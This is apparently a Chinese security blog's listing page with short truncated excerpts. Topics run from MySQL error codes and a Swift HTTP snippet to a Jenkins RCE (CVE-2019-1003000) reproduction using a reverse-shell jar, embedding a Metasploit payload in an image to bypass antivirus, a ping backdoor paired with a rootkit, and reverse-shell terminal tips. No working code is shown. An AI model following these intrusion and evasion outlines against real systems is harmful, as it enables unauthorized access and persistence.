Mysql错误编码集合解释
由于更新很频繁，这些文件中可能包含这里未列出的额外错误消息。· 错误：1000 SQLSTATE: HY000 (ER_HASHCHK)消息：hashchk· 错误：1001 SQLSTATE: HY000 (ER_NISAMCHK)消息：isamchk· 错误：1002 ...
阅读全文
IOS开发笔记-SwiftHTTP发起http请求
注：使用pod安装SwiftHTTP后导入使用。func test(str: String) {
let opt = HTTP.GET("http://x.x.x.x/index.php?test="\(str)")
opt?.run()
...
阅读全文
jenkins RCE(CVE-2019-1003000)复现
前言：漏洞详情直接搜cve编号查看即可，这里直接复现1.制作一个反弹bash的jar包放在公网可远程调用，以下代码保存为jkrce.java代码如下：public class jkrce {
public jkrce() {
try {
String ...
阅读全文
使用图片携带msf payload反弹绕过各种AV
#使用说明1.先找一个高清大图片，四位数*四位数 那种以上的jpg或者png高清大图，命名为1.jpg ，低于四位数的高清大图会失败，一般图片大小，大于1M小于2M即可 。2.使用msfvenom生成一个powershell的反弹的payload,一定要用64位的，32位的...
阅读全文
ping-backdoor使用，配合Rootkit使用效果更佳
#使用方法：1.把下列代码复制到目标机器中，保存名为 ping-backdoor.c2.使用gcc编译●gcc -static -o ping-backdoor ping-backdoor.c●strip ping-backdoor注:如果这一步出现错误，可以尝试安装静态编...
阅读全文
NC，bash反弹后非标准终端使用注意
一般在渗透过程中会反弹一个bash shell，但是此类反弹，命令行终端非正规的终端，键盘上下翻动无历史记录，vim编辑文件的时候，可能就会over。因为反弹出来的shell没有Sigint的，如果Ctrl+C，反弹出来的shell就会终止。这个日常操作过程中多少都会有人遇...
阅读全文